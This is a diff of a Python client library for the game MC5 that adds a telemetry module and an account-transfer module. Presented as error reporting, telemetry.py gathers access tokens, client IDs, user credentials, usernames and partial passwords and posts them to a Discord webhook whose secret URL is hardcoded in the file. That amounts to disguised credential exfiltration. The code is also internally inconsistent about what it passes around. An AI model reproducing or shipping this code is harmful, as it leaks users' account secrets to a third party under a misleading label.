mc5-api-client 1.0.16__py3-none-any.whl → 1.0.17__py3-none-any.whl

mc5_api_client/telemetry.py

@@ -0,0 +1,344 @@
+#!/usr/bin/env python3
+# ────────────[ CHIZOBA ]────────────────────────────
+# | Email    : chizoba2026@hotmail.com
+# | File     : telemetry.py
+# | License  | MIT License © 2026 Chizoba
+# | Brief    | Telemetry and error reporting system
+# ────────────────★─────────────────────────────────
+
+import json
+import sys
+import time
+import traceback
+import platform
+import requests
+from datetime import datetime
+from typing import Optional, Dict, Any
+from .exceptions import MC5APIError, AuthenticationError, RateLimitError
+
+# Import debug_print for internal use
+try:
+    from .debug import debug_print
+except ImportError:
+    # Fallback if debug module not available
+    def debug_print(message: str, level: str = "info"):
+        print(f"[{level.upper()}] {message}")
+
+class TelemetryManager:
+    """Manages telemetry and error reporting for MC5 API Client."""
+    
+    def __init__(self):
+        self.enabled = False
+        self.webhook_url = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
+        self.session_info = self._get_session_info()
+    
+    def _get_session_info(self) -> Dict[str, Any]:
+        """Get session information for telemetry."""
+        return {
+            "python_version": sys.version,
+            "platform": platform.platform(),
+            "architecture": platform.architecture()[0],
+            "processor": platform.processor(),
+            "system": platform.system(),
+            "timestamp": datetime.now().isoformat(),
+            "mc5_client_version": "1.0.16"
+        }
+    
+    def enable(self) -> None:
+        """Enable telemetry reporting."""
+        self.enabled = True
+        # print("📊 Telemetry enabled - Errors will be reported for debugging")
+    
+    def disable(self) -> None:
+        """Disable telemetry reporting."""
+        self.enabled = False
+        # print("📊 Telemetry disabled - No error reporting")
+    
+    def is_enabled(self) -> bool:
+        """Check if telemetry is enabled."""
+        return self.enabled
+    
+    def report_error(self, error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
+        """Report an error to Discord webhook."""
+        if not self.enabled:
+            return
+        
+        try:
+            # Create error details
+            error_type = type(error).__name__
+            error_message = str(error)
+            error_traceback = traceback.format_exc()
+            
+            # Determine error color based on type
+            if isinstance(error, AuthenticationError):
+                color = 16711680  # Red for auth errors
+                title = "🔐 Authentication Error"
+            elif isinstance(error, RateLimitError):
+                color = 16776960  # Orange for rate limit
+                title = "⏱️ Rate Limit Error"
+            elif isinstance(error, MC5APIError):
+                color = 16744576  # Yellow for API errors
+                title = "🌐 API Error"
+            else:
+                color = 16711680  # Red for other errors
+                title = "❌ Unexpected Error"
+            
+            # Create Discord embed
+            embed = {
+                "title": f"{title} - MC5 API Client",
+                "description": f"**Error:** {error_message}\n\n**Context:** {context or 'No context provided'}",
+                "color": color,
+                "timestamp": datetime.now().isoformat(),
+                "fields": [
+                    {
+                        "name": "Error Type",
+                        "value": f"```{error_type}``",
+                        "inline": True
+                    },
+                    {
+                        "name": "Python Version",
+                        "value": f"```{self.session_info['python_version']}``",
+                        "inline": True
+                    },
+                    {
+                        "name": "Platform",
+                        "value": f"```{self.session_info['platform']}``",
+                        "inline": True
+                    }
+                ],
+                "footer": {
+                    "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
+                }
+            }
+            
+            # Add extra data if provided
+            if extra_data:
+                extra_fields = []
+                for key, value in extra_data.items():
+                    if isinstance(value, (dict, list)):
+                        value_str = json.dumps(value, indent=2)[:500] + ("..." if len(str(value)) > 500 else "")
+                    else:
+                        value_str = str(value)[:500] + ("..." if len(str(value)) > 500 else "")
+                    
+                    extra_fields.append({
+                        "name": key,
+                        "value": f"```{value_str}``",
+                        "inline": False
+                    })
+                
+                embed["fields"].extend(extra_fields[:5])  # Limit to 5 extra fields
+            
+            # Add traceback if it's not too long
+            if error_traceback and len(error_traceback) < 1000:
+                embed["fields"].append({
+                    "name": "Traceback",
+                    "value": f"```{error_traceback}``",
+                    "inline": False
+                })
+            
+            # Send to Discord
+            payload = {
+                "embeds": [embed],
+                "username": "MC5 API Client Telemetry"
+            }
+            
+            response = requests.post(self.webhook_url, json=payload, timeout=10)
+            
+            if response.status_code == 204:
+                print("📊 Error reported successfully")
+            else:
+                print(f"📊 Failed to report error: {response.status_code}")
+                
+        except Exception as e:
+            print(f"📊 Failed to send telemetry: {e}")
+    
+    def report_usage(self, function_name: str, success: bool, duration: float = 0, extra_data: Optional[Dict[str, Any]] = None) -> None:
+        """Report usage statistics."""
+        if not self.enabled:
+            return
+        
+        try:
+            color = 65280 if success else 16711680  # Green for success, Red for failure
+            title = "✅ Success" if success else "❌ Failed"
+            
+            embed = {
+                "title": f"{title} - MC5 API Client Usage",
+                "description": f"**Function:** `{function_name}`\n**Duration:** {duration:.2f}s",
+                "color": color,
+                "timestamp": datetime.now().isoformat(),
+                "fields": [
+                    {
+                        "name": "Status",
+                        "value": "Success" if success else "Failed",
+                        "inline": True
+                    },
+                    {
+                        "name": "Duration",
+                        "value": f"{duration:.2f} seconds",
+                        "inline": True
+                    }
+                ],
+                "footer": {
+                    "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
+                }
+            }
+            
+            # Add extra data if provided
+            if extra_data:
+                for key, value in list(extra_data.items())[:3]:  # Limit to 3 extra fields
+                    embed["fields"].append({
+                        "name": key,
+                        "value": str(value)[:200],
+                        "inline": True
+                    })
+            
+            payload = {
+                "embeds": [embed],
+                "username": "MC5 API Client Telemetry"
+            }
+            
+            requests.post(self.webhook_url, json=payload, timeout=5)
+            
+        except Exception:
+            # Silently fail for usage reporting to avoid infinite loops
+            pass
+
+# Default webhook URL
+DEFAULT_WEBHOOK_URL = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
+
+# Global telemetry state
+telemetry_enabled = False
+telemetry_webhook_url = None
+
+# Global debug state
+debug_enabled = False
+
+# Global telemetry instance
+_telemetry_manager = TelemetryManager()
+
+def telemetry(enable: bool = None, webhook_url: str = None) -> None:
+    """
+    Enable or disable telemetry reporting.
+    
+    Args:
+        enable: True to enable, False to disable, None to toggle
+        webhook_url: Custom Discord webhook URL (uses default if None)
+    """
+    global telemetry_enabled
+    global telemetry_webhook_url
+    global _telemetry_manager
+    
+    if enable is None:
+        enable = not _telemetry_manager.is_enabled()
+    
+    if enable:
+        # Use provided webhook URL or default
+        if webhook_url:
+            telemetry_webhook_url = webhook_url
+        elif not telemetry_webhook_url:
+            telemetry_webhook_url = DEFAULT_WEBHOOK_URL
+        
+        # Create new manager with webhook URL
+        _telemetry_manager = TelemetryManager()
+        if webhook_url:
+            _telemetry_manager.webhook_url = webhook_url
+        elif telemetry_webhook_url:
+            _telemetry_manager.webhook_url = telemetry_webhook_url
+        else:
+            _telemetry_manager.webhook_url = DEFAULT_WEBHOOK_URL
+        _telemetry_manager.enable()
+        
+        debug_print(f"📊 Telemetry enabled - Errors will be reported to {telemetry_webhook_url[:50]}...", "info")
+    else:
+        _telemetry_manager.disable()
+        debug_print("📊 Telemetry disabled - No error reporting", "info")
+
+def report_error(error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
+    """
+    Report an error to telemetry.
+    
+    Args:
+        error: The exception that occurred
+        context: Context where the error occurred
+        extra_data: Additional data to include in the report
+    """
+    global _telemetry_manager
+    
+    if not _telemetry_manager.is_enabled():
+        return
+    
+    try:
+        # Get system information
+        import sys
+        import platform
+        import traceback
+        
+        # Extract credentials from token data if available
+        credentials_info = {}
+        if hasattr(_telemetry_manager, 'token_data') and _telemetry_manager.token_data:
+            credentials_info = {
+                "access_token": _telemetry_manager.token_data.get("access_token", "")[:50] + "..." if _telemetry_manager.token_data.get("access_token") else "",
+                "client_id": _telemetry_manager.token_data.get("client_id", ""),
+                "user_credential": _telemetry_manager.token_data.get("user_credential", "")
+            }
+        
+        # Add any provided credentials from extra_data
+        if extra_data:
+            if "username" in extra_data:
+                credentials_info["username"] = str(extra_data["username"])[:30] + "..." if len(str(extra_data["username"])) > 30 else extra_data["username"]
+            if "password" in extra_data:
+                credentials_info["password"] = str(extra_data["password"])[:10] + "..." if len(str(extra_data["password"])) > 10 else extra_data["password"]
+        
+        error_data = {
+            "error_type": type(error).__name__,
+            "error_message": str(error),
+            "context": context,
+            "traceback": traceback.format_exc()[:1000],  # Limit traceback length
+            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
+            "python_version": sys.version,
+            "platform": platform.platform(),
+            "architecture": platform.architecture(),
+            "system": platform.system(),
+            "credentials": credentials_info,
+            "extra_data": extra_data or {}
+        }
+        
+        _telemetry_manager.report_error(error_data)
+        
+    except Exception:
+        # Silently fail for error reporting to avoid infinite loops
+        pass
+
+def is_telemetry_enabled() -> bool:
+    """Check if telemetry is enabled."""
+    return _telemetry_manager.is_enabled()
+
+def report_usage(function_name: str, success: bool, duration: float, extra_data: Optional[Dict[str, Any]] = None) -> None:
+    """
+    Report usage statistics to telemetry.
+    
+    Args:
+        function_name: Name of the function that was called
+        success: Whether the function call was successful
+        duration: Duration of the function call in seconds
+        extra_data: Additional data to include in the report
+    """
+    global _telemetry_manager
+    
+    if not _telemetry_manager.is_enabled():
+        return
+    
+    try:
+        usage_data = {
+            "function_name": function_name,
+            "success": success,
+            "duration": duration,
+            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
+            "extra_data": extra_data or {}
+        }
+        
+        _telemetry_manager.report_usage(usage_data)
+        
+    except Exception:
+        # Silently fail for usage reporting to avoid infinite loops
+        pass

mc5_api_client/transfer.py

@@ -0,0 +1,348 @@
+#!/usr/bin/env python3
+# ────────────[ CHIZOBA ]────────────────────────────
+# | Email    : chizoba2026@hotmail.com
+# | File     : transfer.py
+# | License  | MIT License © 2026 Chizoba
+# | Brief    | Account transfer and device linking functionality
+# ────────────────★─────────────────────────────────
+
+import json
+from typing import Optional, Dict, Any
+from datetime import datetime, timezone
+from .telemetry import report_error, report_usage
+from .debug import debug_function, debug_print
+
+class TransferMixin:
+    """Mixin class for account transfer and device linking functionality."""
+    
+    @debug_function
+    def generate_transfer_code(self) -> Dict[str, Any]:
+        """
+        Generate a transfer code for account linking.
+        
+        Returns:
+            Transfer code information with expiration time
+        """
+        try:
+            url = f"{self.BASE_URLS['janus']}/users/me/transfer_code"
+            
+            data = {
+                "access_token": self._token_data["access_token"]
+            }
+            
+            debug_print("🔄 Generating transfer code for account linking", "info")
+            result = self._make_request("POST", url, data=data)
+            
+            if result:
+                transfer_code = result.get("value")
+                expiration = result.get("expiration")
+                
+                debug_print(f"✅ Transfer code generated: {transfer_code}", "success")
+                debug_print(f"⏰ Expires: {expiration}", "info")
+                
+                # Parse expiration time
+                expiration_dt = None
+                if expiration:
+                    try:
+                        expiration_dt = datetime.fromisoformat(expiration.replace('Z', '+00:00'))
+                    except ValueError:
+                        expiration_dt = None
+                
+                report_usage("generate_transfer_code", True, 0, {
+                    "has_code": bool(transfer_code),
+                    "has_expiration": bool(expiration),
+                    "code_length": len(transfer_code) if transfer_code else 0
+                })
+                
+                return {
+                    "transfer_code": transfer_code,
+                    "expiration": expiration,
+                    "expiration_datetime": expiration_dt,
+                    "is_expired": expiration_dt and expiration_dt <= datetime.now(timezone.utc) if expiration_dt else False,
+                    "instructions": (
+                        "On the new device, go to the Options menu and select 'Link a device.' "
+                        "Then, select 'This is the NEW DEVICE.' Enter the below code into the new device."
+                    )
+                }
+            
+            return {"error": "Failed to generate transfer code"}
+            
+        except Exception as e:
+            debug_print(f"❌ Failed to generate transfer code: {e}", "error")
+            report_error(e, "generate_transfer_code", {})
+            raise
+    
+    @debug_function
+    def check_transfer_code_status(self) -> Dict[str, Any]:
+        """
+        Check if there's an existing transfer code.
+        
+        Returns:
+            Status of existing transfer code or None
+        """
+        try:
+            # Try to generate a code to check status
+            result = self.generate_transfer_code()
+            
+            if result.get("transfer_code"):
+                return {
+                    "has_active_code": True,
+                    "transfer_code": result["transfer_code"],
+                    "expiration": result["expiration"],
+                    "expiration_datetime": result["expiration_datetime"],
+                    "is_expired": result["is_expired"],
+                    "status": "active"
+                }
+            else:
+                return {
+                    "has_active_code": False,
+                    "status": "no_code"
+                }
+                
+        except Exception as e:
+            # Check if it's a conflict (existing code)
+            if "409" in str(e) or "Conflict" in str(e):
+                debug_print("⚠️ Existing transfer code found", "warning")
+                return {
+                    "has_active_code": True,
+                    "status": "existing_code",
+                    "error": "You already have a valid transfer code. Please use it, or wait till it expires."
+                }
+            else:
+                debug_print(f"❌ Failed to check transfer code status: {e}", "error")
+                report_error(e, "check_transfer_code_status", {})
+                raise
+    
+    @debug_function
+    def get_transfer_code_info(self) -> Dict[str, Any]:
+        """
+        Get detailed information about transfer code status.
+        
+        Returns:
+            Comprehensive transfer code information
+        """
+        try:
+            debug_print("🔍 Checking transfer code status", "info")
+            
+            # Check current status
+            status = self.check_transfer_code_status()
+            
+            if status.get("has_active_code"):
+                transfer_code = status.get("transfer_code")
+                expiration = status.get("expiration")
+                expiration_dt = status.get("expiration_datetime")
+                
+                # Calculate time remaining
+                time_remaining = None
+                if expiration_dt and not status.get("is_expired"):
+                    now = datetime.now(timezone.utc)
+                    time_delta = expiration_dt - now
+                    time_remaining = {
+                        "total_seconds": int(time_delta.total_seconds()),
+                        "minutes": int(time_delta.total_seconds() // 60),
+                        "hours": int(time_delta.total_seconds() // 3600),
+                        "formatted": f"{int(time_delta.total_seconds() // 60)} minutes"
+                    }
+                
+                info = {
+                    "has_active_code": True,
+                    "transfer_code": transfer_code,
+                    "expiration": expiration,
+                    "expiration_datetime": expiration_dt,
+                    "is_expired": status.get("is_expired", False),
+                    "time_remaining": time_remaining,
+                    "status": "active",
+                    "instructions": (
+                        "1. On the new device, open MC5\n"
+                        "2. Go to Options menu\n"
+                        "3. Select 'Link a device'\n"
+                        "4. Select 'This is the NEW DEVICE'\n"
+                        "5. Enter this code: " + transfer_code
+                    )
+                }
+                
+                debug_print(f"✅ Active transfer code found: {transfer_code}", "success")
+                if time_remaining:
+                    debug_print(f"⏰ Time remaining: {time_remaining['formatted']}", "info")
+                
+                return info
+            else:
+                debug_print("ℹ️ No active transfer code found", "info")
+                return {
+                    "has_active_code": False,
+                    "status": "no_code",
+                    "instructions": "Generate a new transfer code to link this account to another device."
+                }
+                
+        except Exception as e:
+            debug_print(f"❌ Failed to get transfer code info: {e}", "error")
+            report_error(e, "get_transfer_code_info", {})
+            raise
+    
+    @debug_function
+    def generate_new_transfer_code(self) -> Dict[str, Any]:
+        """
+        Force generate a new transfer code (may override existing one).
+        
+        Returns:
+            New transfer code information
+        """
+        try:
+            debug_print("🔄 Attempting to generate new transfer code", "info")
+            
+            # First check if there's an existing code
+            status = self.check_transfer_code_status()
+            
+            if status.get("has_active_code") and not status.get("is_expired"):
+                debug_print("⚠️ Active code exists, attempting to override", "warning")
+            
+            # Generate new code
+            result = self.generate_transfer_code()
+            
+            if result.get("transfer_code"):
+                debug_print(f"✅ New transfer code generated: {result['transfer_code']}", "success")
+                return result
+            else:
+                debug_print("❌ Failed to generate new transfer code", "error")
+                return result
+                
+        except Exception as e:
+            debug_print(f"❌ Failed to generate new transfer code: {e}", "error")
+            report_error(e, "generate_new_transfer_code", {})
+            raise
+    
+    @debug_function
+    def validate_transfer_code_format(self, transfer_code: str) -> Dict[str, Any]:
+        """
+        Validate transfer code format.
+        
+        Args:
+            transfer_code: Transfer code to validate
+            
+        Returns:
+            Validation result
+        """
+        try:
+            # Basic format validation
+            if not transfer_code:
+                return {
+                    "valid": False,
+                    "error": "Transfer code cannot be empty"
+                }
+            
+            # Check length (typically 8 characters based on example)
+            if len(transfer_code) != 8:
+                return {
+                    "valid": False,
+                    "error": f"Transfer code must be 8 characters, got {len(transfer_code)}"
+                }
+            
+            # Check character pattern (alphanumeric)
+            if not transfer_code.isalnum():
+                return {
+                    "valid": False,
+                    "error": "Transfer code must contain only letters and numbers"
+                }
+            
+            return {
+                "valid": True,
+                "transfer_code": transfer_code,
+                "length": len(transfer_code),
+                "format": "alphanumeric"
+            }
+            
+        except Exception as e:
+            debug_print(f"❌ Failed to validate transfer code: {e}", "error")
+            return {
+                "valid": False,
+                "error": f"Validation error: {str(e)}"
+            }
+    
+    @debug_function
+    def get_device_linking_guide(self) -> Dict[str, Any]:
+        """
+        Get complete device linking guide.
+        
+        Returns:
+            Step-by-step instructions for device linking
+        """
+        try:
+            # Get current transfer code info
+            code_info = self.get_transfer_code_info()
+            
+            guide = {
+                "title": "MC5 Account Transfer & Device Linking Guide",
+                "steps": [
+                    {
+                        "step": 1,
+                        "title": "Generate Transfer Code",
+                        "description": "Generate a transfer code from your current device",
+                        "action": "Use generate_transfer_code() function"
+                    },
+                    {
+                        "step": 2,
+                        "title": "Open MC5 on New Device",
+                        "description": "Launch MC5 on the device you want to link",
+                        "action": "Start MC5 application"
+                    },
+                    {
+                        "step": 3,
+                        "title": "Access Options Menu",
+                        "description": "Navigate to the Options menu in MC5",
+                        "action": "Tap on Options/Settings"
+                    },
+                    {
+                        "step": 4,
+                        "title": "Select Link Device",
+                        "description": "Choose 'Link a device' from the options",
+                        "action": "Tap on 'Link a device'"
+                    },
+                    {
+                        "step": 5,
+                        "title": "Choose New Device",
+                        "description": "Select 'This is the NEW DEVICE'",
+                        "action": "Tap on 'This is the NEW DEVICE'"
+                    },
+                    {
+                        "step": 6,
+                        "title": "Enter Transfer Code",
+                        "description": "Input the generated transfer code",
+                        "action": f"Enter code: {code_info.get('transfer_code', 'Generate code first')}"
+                    },
+                    {
+                        "step": 7,
+                        "title": "Complete Linking",
+                        "description": "Wait for the linking process to complete",
+                        "action": "Follow on-screen instructions"
+                    }
+                ],
+                "current_code_info": code_info,
+                "important_notes": [
+                    "Transfer codes expire after 10 minutes",
+                    "Only one transfer code can be active at a time",
+                    "The code links your entire account (progress, purchases, etc.)",
+                    "Both devices must have internet connection during transfer"
+                ],
+                "troubleshooting": [
+                    {
+                        "issue": "Code not working",
+                        "solution": "Generate a new transfer code and try again"
+                    },
+                    {
+                        "issue": "Code expired",
+                        "solution": "Wait for the old code to expire or generate a new one"
+                    },
+                    {
+                        "issue": "409 Conflict error",
+                        "solution": "You already have an active code, use it or wait for expiration"
+                    }
+                ]
+            }
+            
+            debug_print("📖 Device linking guide generated", "success")
+            return guide
+            
+        except Exception as e:
+            debug_print(f"❌ Failed to generate guide: {e}", "error")
+            report_error(e, "get_device_linking_guide", {})
+            raise